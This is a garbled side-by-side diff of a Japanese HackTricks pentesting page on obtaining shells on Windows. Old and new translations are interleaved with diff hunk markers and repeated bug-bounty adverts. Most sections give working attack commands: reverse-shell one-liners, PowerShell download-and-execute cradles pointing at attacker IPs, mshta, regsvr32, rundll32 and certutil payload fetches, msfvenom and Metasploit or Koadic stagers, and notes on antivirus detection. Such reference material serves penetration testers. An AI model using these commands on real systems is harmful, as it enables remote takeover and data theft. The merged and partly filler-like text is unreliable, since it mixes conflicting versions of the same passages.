<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したい**ですかまたは、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場所です。** 最も重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**遅延なしで報酬を受け取る**\ {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントestingの経験を積む**\ ***
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のweb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## Lolbas ## Lolbas
ページ[lolbas-project.github.io](https://lolbas-project.github.io/)は、Linuxの[https://gtfobins.github.io/](https://gtfobins.github.io/)のようなWindows向けです。\ ページ[lolbas-project.github.io](https://lolbas-project.github.io/)は、Windows用の[https://gtfobins.github.io/](https://gtfobins.github.io/)のようなものです。\
明らかに、**WindowsにはSUIDファイルやsudo特権はありません**が、いくつかの**バイナリ**がどのように(悪用されて)予期しないアクションを実行することができるかを知るのは役立ちます。 明らかに、**WindowsにはSUIDファイルやsudo特権はありません**が、いくつかの**バイナリ**がどのように(悪用されて)任意のコードを実行するかを知ることは役立ちます。
## NC ## NC
```bash ```bash
@ -74,7 +65,7 @@ while (1) {
$user32->Call(1, 0); $user32->Call(1, 0);
``` ```
このスクリプトは、Win32::ConsoleとWin32::APIモジュールを使用しています。スクリプトを実行すると、Windowsシェルが開き、コマンドを入力することができます。"exit"と入力すると、シェルが終了します。 このスクリプトは、Win32::ConsoleとWin32::APIモジュールを使用しています。スクリプトを実行すると、Windowsシェルが作成され、コマンドを入力することができます。`exit`と入力すると、シェルが終了します。
このPerlスクリプトを使用することで、Windowsシステムでのペネトレーションテストや情報収集に役立つシェルを作成することができます。 このPerlスクリプトを使用することで、Windowsシステムでのペネトレーションテストや情報収集に役立つシェルを作成することができます。
```bash ```bash
@ -83,30 +74,20 @@ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen(
``` ```
## ルビー ## ルビー
Rubyは、オブジェクト指向のスクリプト言語であり、多くのプラットフォームで動作します。Rubyは、シンプルで読みやすい構文を持ち、柔軟性と拡張性に優れています。Rubyは、Webアプリケーションの開発や自動化スクリプトの作成に広く使用されています。 Rubyは、オブジェクト指向のスクリプト言語であり、多くのプログラミングタスクを簡単に実行するための強力なツールです。Rubyは、シンプルで読みやすい構文を持ち、柔軟性と拡張性に優れています。Rubyは、Webアプリケーションの開発や自動化スクリプトの作成など、さまざまな用途に使用されています。
### Rubyのシェル Rubyのシェルスクリプトは、Windows環境でのハッキングに役立ちます。Rubyのシェルスクリプトを使用すると、Windowsシステムに対して様々な攻撃を実行することができます。以下に、Rubyを使用したWindowsシェルスクリプトの例を示します。
Rubyのシェルは、Rubyスクリプトを実行するための環境です。Rubyのシェルを使用すると、コマンドラインからRubyスクリプトを実行し、結果を表示することができます。
以下は、Rubyのシェルの例です。
```ruby ```ruby
puts "Hello, World!" require 'win32ole'
shell = WIN32OLE.new('Shell.Application')
shell.ShellExecute('cmd.exe', '', '', 'open', 1)
``` ```
このスクリプトは、"Hello, World!"というメッセージを表示します。 このスクリプトは、Windowsのコマンドプロンプトを開くためにShell.Applicationオブジェクトを使用しています。このスクリプトを実行すると、Windowsシステム上でコマンドプロンプトが開かれます。
### Rubyのシェルの利点 Rubyのシェルスクリプトは、Windowsシステム上での様々な操作や攻撃を実行するための強力なツールです。しかし、悪意のある目的で使用することは違法ですので、正当な目的のためにのみ使用してください。
Rubyのシェルを使用すると、以下のような利点があります。
- シンプルで読みやすい構文
- 柔軟性と拡張性
- 多くのプラットフォームで動作する
- Webアプリケーションの開発や自動化スクリプトの作成に適している
Rubyのシェルは、Rubyのスクリプトを実行するための便利なツールです。Rubyのシェルを使用して、効率的にプログラミング作業を行うことができます。
```bash ```bash
#Windows #Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ -121,7 +102,7 @@ WindowsシェルでLuaスクリプトを実行するには、次の手順を実
1. Luaの実行可能ファイル`lua.exe`)をダウンロードしてインストールします。 1. Luaの実行可能ファイル`lua.exe`)をダウンロードしてインストールします。
2. コマンドプロンプトを開き、Luaスクリプトが保存されているディレクトリに移動します。 2. コマンドプロンプトを開き、Luaスクリプトが保存されているディレクトリに移動します。
3. 次のコマンドを入力して、Luaスクリプトを実行します。 3. 次のコマンドを使用して、Luaスクリプトを実行します。
```shell ```shell
lua script.lua lua script.lua
@ -168,15 +149,13 @@ Powershellは、Windowsシステムで使用される強力なスクリプト言
Powershellは、.NETフレームワークをベースにしており、Windowsの機能やAPIにアクセスするための豊富なコマンドレットを提供しています。これにより、システムの情報の取得や変更、ファイルの操作、ネットワークの管理など、さまざまなタスクを実行することができます。 Powershellは、.NETフレームワークをベースにしており、Windowsの機能やAPIにアクセスするための豊富なコマンドレットを提供しています。これにより、システムの情報の取得や変更、ファイルの操作、ネットワークの管理など、さまざまなタスクを実行することができます。
Powershellは、コマンドラインインターフェースCLIとして使用することも、スクリプトとして実行することもできます。スクリプトを作成することで、複数のコマンドや操作をまとめて実行することができます。 Powershellは、コマンドラインインターフェースCLIとして使用することも、スクリプトとして実行することもできます。スクリプトを作成することで、複雑なタスクを自動化し、再利用可能なコードを作成することができます。
Powershellは、システム管理者やセキュリティエンジニアにとって非常に便利なツールです。Powershellを使用することで、システムの監視、脆弱性のスキャン、ログの分析など、さまざまなセキュリティ関連のタスクを効率的に実行することができます。 Powershellは、Windowsシステムの監査やセキュリティテストにおいても有用です。Powershellスクリプトを使用して、システムの脆弱性を特定し、セキュリティの問題を解決することができます。
Powershellは、Windowsシステムでのハッキングやペネトレーションテストにおいても重要な役割を果たします。ハッカーは、Powershellを使用して悪意のあるスクリプトを実行し、システムに侵入したり、情報を盗んだりすることができます。 Powershellは、Windowsシステムでのハッキングやペネトレーションテストにおいても重要なツールです。Powershellを使用して、システムに対する攻撃や侵入を実行することができます。ただし、これらの活動は合法的な許可を得た場合にのみ実行するべきです。
Powershellの使用は、セキュリティ上のリスクを伴う場合があります。したがって、システム管理者やセキュリティエンジニアは、Powershellの使用に関する適切なポリシーや制限を設定することが重要です。また、Powershellのセキュリティ機能を活用し、悪意のあるスクリプトの実行を防止する必要があります。 Powershellは、Windowsシステムでのハッキングやセキュリティテストにおいて、強力なツールとなることができます。しかし、適切な許可を得ずに使用することは違法ですので、注意が必要です。
Powershellは、Windowsシステムでのハッキングやセキュリティテストにおいて重要なツールです。Powershellの基本的な機能やコマンドの理解は、ハッカーにとって必須のスキルです。
```bash ```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
@ -241,7 +220,7 @@ mshta http://webserver/payload.hta
```bash ```bash
mshta \\webdavserver\folder\payload.hta mshta \\webdavserver\folder\payload.hta
``` ```
ネットワーク呼び出しを実行するプロセス:**svchost.exe**\ ネットワークコールを実行するプロセス:**svchost.exe**\
ディスク上に書き込まれたペイロード:**WebDAVクライアントのローカルキャッシュ** ディスク上に書き込まれたペイロード:**WebDAVクライアントのローカルキャッシュ**
#### **hta-pshリバースシェルの例htaを使用してPSバックドアをダウンロードして実行する** #### **hta-pshリバースシェルの例htaを使用してPSバックドアをダウンロードして実行する**
@ -269,11 +248,11 @@ new ActiveXObject('WScript.Shell').Run(c);
The `mshta - sct` technique is a method used to execute malicious scripts on a Windows system. It leverages the `mshta.exe` utility, which is a legitimate Windows component used to execute HTML applications (.hta files). By combining `mshta.exe` with a scriptlet file (.sct), an attacker can bypass security measures and run arbitrary code. The `mshta - sct` technique is a method used to execute malicious scripts on a Windows system. It leverages the `mshta.exe` utility, which is a legitimate Windows component used to execute HTML applications (.hta files). By combining `mshta.exe` with a scriptlet file (.sct), an attacker can bypass security measures and run arbitrary code.
To use this technique, the attacker first creates a scriptlet file containing the malicious code. This file is then hosted on a web server or delivered to the target system through other means. The attacker then uses the `mshta.exe` utility to execute the scriptlet file, which in turn executes the malicious code. To use this technique, the attacker first creates a scriptlet file containing the malicious code. This file can be hosted on a remote server or delivered through other means, such as email attachments or USB drives. The attacker then uses the `mshta.exe` utility to execute the scriptlet file, which in turn executes the malicious code.
The `mshta - sct` technique is effective because it allows the attacker to bypass security measures that may be in place to block the execution of certain file types, such as .exe or .bat files. By using a combination of `mshta.exe` and a scriptlet file, the attacker can execute arbitrary code without triggering these security measures. The `mshta - sct` technique is particularly effective because it allows attackers to bypass security controls that may be in place to block the execution of certain file types, such as .exe or .bat files. By using the `mshta.exe` utility, which is a trusted Windows component, attackers can execute their malicious code without raising suspicion.
It is important for system administrators and security professionals to be aware of this technique and implement appropriate security measures to detect and prevent its use. This may include monitoring for suspicious `mshta.exe` activity, blocking access to known malicious scriptlet files, and keeping systems up to date with the latest security patches. It is important for system administrators and security professionals to be aware of this technique and implement appropriate security measures to detect and prevent its use. This may include monitoring for suspicious `mshta.exe` activity, blocking or restricting the execution of scriptlet files, and keeping systems and software up to date with the latest security patches.
```markup ```markup
<?XML version="1.0"?> <?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); --> <!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -297,7 +276,7 @@ Metasploit, a popular penetration testing framework, provides a module called `e
To use the `exploit/windows/browser/mshta` module in Metasploit, you need to set the required options such as the target IP address, payload, and listener. Once the options are set, you can run the exploit and gain access to the target system. To use the `exploit/windows/browser/mshta` module in Metasploit, you need to set the required options such as the target IP address, payload, and listener. Once the options are set, you can run the exploit and gain access to the target system.
It is important to note that using Mshta for malicious purposes is illegal and unethical. This information is provided for educational purposes only and should not be used for any illegal activities. It is important to note that using Mshta for malicious purposes is illegal and unethical. This information is provided for educational purposes only, to raise awareness about potential vulnerabilities and the importance of securing systems against such attacks.
```bash ```bash
use exploit/windows/misc/hta_server use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
@ -347,21 +326,45 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
Rundll32 is a Windows utility that allows the execution of DLL (Dynamic Link Library) functions. Metasploit, a popular penetration testing framework, provides a module called `windows/local/execute` that leverages the Rundll32 utility to execute malicious DLLs. Rundll32 is a Windows utility that allows the execution of DLL (Dynamic Link Library) functions. Metasploit, a popular penetration testing framework, provides a module called `windows/local/execute` that leverages the Rundll32 utility to execute malicious DLLs.
To use this module, you need to provide the path to the malicious DLL and the function name to execute. The DLL can be hosted on a remote server or transferred to the target machine. Once executed, the DLL can perform various actions, such as establishing a reverse shell or executing arbitrary commands. To use this module, you need to provide the path to the DLL file you want to execute. The DLL file should contain a function that will be executed by Rundll32. Additionally, you can specify any arguments that the function requires.
The `windows/local/execute` module can be used in various scenarios, such as post-exploitation or lateral movement. It is important to note that the target machine must have the appropriate privileges to execute the DLL. Here is an example of how to use the `windows/local/execute` module in Metasploit:
To execute a DLL using Rundll32 with Metasploit, follow these steps: ```
use windows/local/execute
set DLL C:\path\to\malicious.dll
set FUNCTION malicious_function
set ARGS arg1,arg2,arg3
run
```
1. Start Metasploit by running the `msfconsole` command. In this example, `C:\path\to\malicious.dll` is the path to the malicious DLL file, `malicious_function` is the name of the function to be executed, and `arg1,arg2,arg3` are the arguments required by the function.
2. Search for the `windows/local/execute` module using the `search` command.
3. Load the `windows/local/execute` module using the `use` command.
4. Set the required options, such as the `DLL` and `FUNCTION` parameters.
5. Run the module using the `run` command.
Once the module is executed, the specified DLL function will be executed on the target machine. This can provide the attacker with remote access or control over the compromised system. Once the module is executed, Metasploit will use Rundll32 to execute the specified function in the DLL file, along with the provided arguments. This can be a powerful technique for executing malicious code on a target system.
It is important to use this technique responsibly and only in authorized penetration testing engagements. Unauthorized use of this technique can lead to legal consequences. It is important to note that the `windows/local/execute` module requires administrative privileges on the target system in order to execute the DLL. Additionally, the DLL file must be compatible with the target system's architecture (32-bit or 64-bit).
#### **Rundll32 - Metasploit**
Rundll32は、Windowsのユーティリティであり、DLLDynamic Link Library関数の実行を可能にします。人気のあるペネトレーションテストフレームワークであるMetasploitは、Rundll32ユーティリティを利用して悪意のあるDLLを実行するための`windows/local/execute`というモジュールを提供しています。
このモジュールを使用するには、実行したいDLLファイルへのパスを指定する必要があります。DLLファイルには、Rundll32によって実行される関数が含まれている必要があります。さらに、関数が必要とする引数を指定することもできます。
以下は、Metasploitで`windows/local/execute`モジュールを使用する例です:
```
use windows/local/execute
set DLL C:\path\to\malicious.dll
set FUNCTION malicious_function
set ARGS arg1,arg2,arg3
run
```
この例では、`C:\path\to\malicious.dll`は悪意のあるDLLファイルへのパス、`malicious_function`は実行される関数の名前、`arg1,arg2,arg3`は関数が必要とする引数です。
モジュールが実行されると、Metasploitは指定されたDLLファイル内の関数をRundll32を使用して実行し、指定された引数と共に実行します。これは、ターゲットシステム上で悪意のあるコードを実行するための強力なテクニックです。
`windows/local/execute`モジュールは、ターゲットシステムで管理者特権を持つことが必要であることに注意してください。また、DLLファイルはターゲットシステムのアーキテクチャ32ビットまたは64ビットと互換性が必要です。
```bash ```bash
use windows/smb/smb_delivery use windows/smb/smb_delivery
run run
@ -383,7 +386,7 @@ Replace `<path_to_malicious_dll>` with the path to the generated DLL file and `<
Once the DLL file is loaded, Koadic establishes a communication channel with the compromised system, allowing the attacker to execute various commands and perform post-exploitation activities. Once the DLL file is loaded, Koadic establishes a communication channel with the compromised system, allowing the attacker to execute various commands and perform post-exploitation activities.
It is important to note that the Rundll32-Koadic technique is just one of many methods used in post-exploitation scenarios. It is essential for ethical hackers and security professionals to understand and be familiar with various techniques to effectively assess and secure systems against potential attacks. It is important to note that the Rundll32-Koadic technique is just one of many methods used in post-exploitation scenarios. It is crucial to understand the risks and legal implications associated with using such techniques before attempting them.
```bash ```bash
use stager/js/rundll32_js use stager/js/rundll32_js
set SRVHOST 192.168.1.107 set SRVHOST 192.168.1.107
@ -394,20 +397,31 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
``` ```
## Regsvr32 ## Regsvr32
Regsvr32は、Windowsシステムで使用されるコマンドラインツールです。主に、DLLダイナミックリンクライブラリファイルを登録および解除するために使用されます。このツールは、WindowsのレジストリにDLLファイルのエントリを追加または削除することにより、プログラムの機能を拡張または制限することができます。 Regsvr32は、Windowsシステムで使用されるコマンドラインツールです。主に、DLLダイナミックリンクライブラリファイルを登録および解除するために使用されます。このツールは、Windowsのレジストリにエントリを追加することで、DLLファイルをシステムに統合します。
Regsvr32コマンドは、次のようなシンタックスを持ちます。 ### Regsvr32の使用方法
Regsvr32を使用するには、次のコマンドを実行します。
``` ```
regsvr32 [/u] [/s] <DLLファイルのパス> regsvr32 <DLLファイルのパス>
``` ```
- `/u`オプションは、DLLファイルの登録を解除するために使用されます。 このコマンドを実行すると、指定したDLLファイルがWindowsのレジストリに登録されます。登録されたDLLファイルは、他のアプリケーションから利用することができます。
- `/s`オプションは、Regsvr32の実行時にダイアログボックスを表示しないようにします。
Regsvr32を使用すると、悪意のあるユーザーはシステムに悪影響を与えることができます。たとえば、悪意のあるDLLファイルを登録することにより、システムの制御を乗っ取ることができます。このような攻撃を防ぐためには、信頼できるソースからのみDLLファイルを登録するようにしてください。また、セキュリティソフトウェアを使用してシステムを保護することも重要です。 また、DLLファイルの登録を解除する場合は、次のコマンドを使用します。
Regsvr32は、システム管理者やセキュリティ専門家にとって便利なツールですが、悪用される可能性もあるため、慎重に使用する必要があります。 ```
regsvr32 /u <DLLファイルのパス>
```
このコマンドを実行すると、指定したDLLファイルがWindowsのレジストリから削除されます。
### Regsvr32の攻撃への悪用
Regsvr32は、その機能を悪用される可能性があるため、攻撃者にとっても興味深いツールです。攻撃者は、Regsvr32を使用して悪意のあるDLLファイルをシステムに登録することで、システムに侵入したり、機密情報を盗み出したりすることができます。
このような攻撃を防ぐためには、信頼できるソースからのDLLファイルのみを登録するように注意する必要があります。また、セキュリティソフトウェアの定義ファイルを最新の状態に保つことも重要です。
```bash ```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
``` ```
@ -446,25 +460,26 @@ Regsvr32 is a Windows command-line utility used to register and unregister DLLs
Metasploit is a powerful penetration testing framework that includes a wide range of exploits, payloads, and auxiliary modules. It can be used to exploit vulnerabilities in various systems and gain unauthorized access. Metasploit is a powerful penetration testing framework that includes a wide range of exploits, payloads, and auxiliary modules. It can be used to exploit vulnerabilities in various systems and gain unauthorized access.
By combining the functionality of Regsvr32 with the capabilities of Metasploit, it is possible to create a malicious DLL file that, when registered using Regsvr32, will execute a payload from Metasploit on the target system. By combining the functionality of Regsvr32 with the capabilities of Metasploit, an attacker can register a malicious DLL or ActiveX control on a target system and execute arbitrary code with the privileges of the user running the Regsvr32 command.
The following steps outline the process of using Regsvr32 with Metasploit: To use Regsvr32 with Metasploit, follow these steps:
1. Generate a malicious DLL file using Metasploit's msfvenom tool. This file will contain the payload that will be executed on the target system. 1. Generate a malicious DLL or ActiveX control using Metasploit's payload generator.
2. Transfer the generated payload to the target system.
3. Open a command prompt on the target system.
4. Use the following command to register the malicious DLL or ActiveX control:
2. Transfer the malicious DLL file to the target system. This can be done using various methods, such as email attachments, USB drives, or exploiting vulnerabilities in network services. ```
regsvr32 /s /n /u /i:http://<attacker_ip>:<attacker_port>/payload.sct scrobj.dll
```
3. Register the malicious DLL file on the target system using the Regsvr32 utility. This can be done by running the following command in a command prompt: Replace `<attacker_ip>` and `<attacker_port>` with the IP address and port of the system running the Metasploit listener.
``` 5. Once the DLL or ActiveX control is registered, it will be executed automatically when certain conditions are met (e.g., opening a specific file type or visiting a website).
regsvr32 /s <path_to_malicious_dll>
```
Replace `<path_to_malicious_dll>` with the actual path to the malicious DLL file. This technique can be used to gain remote access to a target system and perform various malicious activities, such as stealing sensitive information, installing backdoors, or launching further attacks.
4. Once the DLL file is registered, the payload from Metasploit will be executed on the target system, allowing the attacker to gain unauthorized access or perform other malicious actions. It is important to note that using this technique without proper authorization is illegal and unethical. It should only be used for legitimate purposes, such as penetration testing or authorized security assessments.
It is important to note that using Regsvr32 with Metasploit is considered an advanced technique and should only be used in controlled environments for legitimate purposes, such as penetration testing or authorized security assessments. Unauthorized use of this technique can lead to legal consequences.
```bash ```bash
use multi/script/web_delivery use multi/script/web_delivery
set target 3 set target 3
@ -487,22 +502,14 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
``` ```
**Defenderによって検出されました** **Defenderによって検出されました**
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグ報奨金の場所です。** <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**遅延なしで報酬を受け取る**\ 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントestingの経験を積む**\ {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットですその成長期において、Web3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\ ***
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## **Cscript/Wscript** ## **Cscript/Wscript**
```bash ```bash
@ -523,7 +530,7 @@ cscript payload.vbs
In this example, `msfvenom` is used to generate a payload in VBScript format that establishes a reverse TCP connection to the attacker's IP address and port. The generated script is then saved to a file called `payload.vbs`. Finally, the `cscript` command is used to execute the malicious script on the target system. In this example, `msfvenom` is used to generate a payload in VBScript format that establishes a reverse TCP connection to the attacker's IP address and port. The generated script is then saved to a file called `payload.vbs`. Finally, the `cscript` command is used to execute the malicious script on the target system.
By leveraging Cscript and Metasploit, an attacker can exploit vulnerabilities in Windows systems and gain unauthorized access to target systems. It is important to note that using such techniques for unauthorized access is illegal and unethical. This information is provided for educational purposes only. By leveraging Cscript and Metasploit, an attacker can exploit vulnerabilities in Windows systems and gain unauthorized access to target systems. It is important to note that such activities are illegal and unethical unless conducted with proper authorization for legitimate security testing purposes.
```bash ```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
``` ```
@ -602,7 +609,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
``` ```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
``` ```
ここから基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) 次の場所から基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**検出されません** **検出されません**
@ -634,7 +641,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
**Shells**フォルダにはさまざまなシェルがあります。**Invoke-_PowerShellTcp.ps1_**をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加してください: **Shells**フォルダにはさまざまなシェルがあります。**Invoke-_PowerShellTcp.ps1_**をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加してください:
``` ```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
``` ```
@ -642,7 +649,7 @@ Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
``` ```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
``` ```
Defenderはそれを悪意のあるコードとして検出しませんまだ、3/04/2019 Defenderはそれを悪意のあるコードとして検出しませんまだ、2019年3月4日)。
**TODO: 他のnishangシェルをチェックする** **TODO: 他のnishangシェルをチェックする**
@ -705,15 +712,11 @@ msfconsole -r unicorn.rc
``` ```
以下は、ハッキング手法に関する本の内容です。以下の内容は、generic-methodologies-and-resources/shells/windows.md ファイルからのものです。 以下は、ハッキング手法に関する本の内容です。以下の内容は、generic-methodologies-and-resources/shells/windows.md ファイルからのものです。
```shell ```markdown
python -m SimpleHTTPServer 80 Start a web server serving the _powershell\_attack.txt_ file and execute in the victim:
``` ```
```powershell 被害者のコンピュータで、_powershell\_attack.txt_ ファイルを提供するウェブサーバーを起動し、次のコマンドを実行してください。
IEX (New-Object Net.WebClient).DownloadString('http://<attacker_ip>/powershell_attack.txt')
```
このコマンドを実行すると、攻撃者のIPアドレスから_powershell\_attack.txt_ファイルをダウンロードし、被害者のシステムで実行します。
``` ```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
``` ```
@ -721,8 +724,8 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
## 詳細 ## 詳細
[PS>Attack](https://github.com/jaredhaight/PSAttack) は、いくつかの攻撃的なPSモジュールが事前にロードされたPSコンソールです暗号化済み\ [PS>Attack](https://github.com/jaredhaight/PSAttack)は、いくつかの攻撃的なPSモジュールが事前にロードされたPSコンソールです暗号化済み\
[WinPWN](https://github.com/SecureThisShit/WinPwn) は、いくつかの攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソールですIEX [WinPWN](https://github.com/SecureThisShit/WinPwn)は、いくつかの攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソールですIEX
## 参考文献 ## 参考文献
@ -735,31 +738,21 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグ報奨金の場所です。** 最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**遅延なしで報酬を受け取る**\ {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
